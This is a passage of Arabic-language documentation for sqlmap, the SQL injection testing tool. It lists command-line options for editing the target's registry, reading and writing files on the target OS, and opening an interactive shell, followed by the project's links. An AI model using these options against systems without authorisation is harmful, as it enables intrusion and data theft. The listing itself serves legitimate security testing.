--reg-add | إضافة إدخال السجل | |
--reg-del | حذف إدخال السجل | |
--reg-key=REGKEY | مفتاح السجل | |
--reg-value=REGVAL | قيمة السجل | |
--reg-data=REGDATA | بيانات السجل | |
--reg-type=REGTYPE | نوع السجل | |
--file-read=FILE | قراءة الملف | |
--file-write=FILE | كتابة الملف | |
--file-dest=DEST | دليل الهدف على نظام التشغيل | |
--shell | إسقاط إلى واجهة سطر الأوامر التفاعلية | |
--purge | تطهير ملفات وأدلة مؤقتة | |
البيانات | --save=SAVE | حفظ خيارات الإدخال إلى ملف INI |
--load=LOAD | تحميل خيارات الإدخال من ملف INI | |
--merge=MERGE | دمج خيارات الإدخال من ملف INI | |
--save-config=SCONFIG | حفظ خيارات الإعداد إلى ملف INI | |
--flush-session | تطهير المعلومات الخاصة بالجلسة الحالية | |
--fresh-queries | تجاهل الحفظ في قاعدة بيانات الجلسة | |
--eta | عرض الوقت المتوقع لإنهاء تنفيذ العملية | |
--update | تحديث sqlmap | |
--dependencies | التحقق من الاعتماديات المفقودة | |
--disable-coloring | تعطيل تلوين الإخراج | |
تقدر تلاقي مثال لتشغيل الأداة هنا. ولمعلومات أكتر عن قدرات الأداة والمزايا والأوامر المختلفة، ممكن تشوف دليل المستخدم.
روابط مهمة
- الصفحة الرئيسية: https://sqlmap.org
- تتبع التحديثات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
- تتبع المشاكل: https://github.com/sqlmapproject/sqlmap/issues
- دليل المستخدم: https://github.com/sqlmapproject/sqlmap/wiki
- الأسئلة الشائعة: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
- تويتر: @sqlmap
- العروض التوضيحية: YouTube
- البريد الإلكتروني: [email protected]
- النشرة الإخبارية: https://eepurl.com/cRcRRb
التعديل الأخير بواسطة المشرف: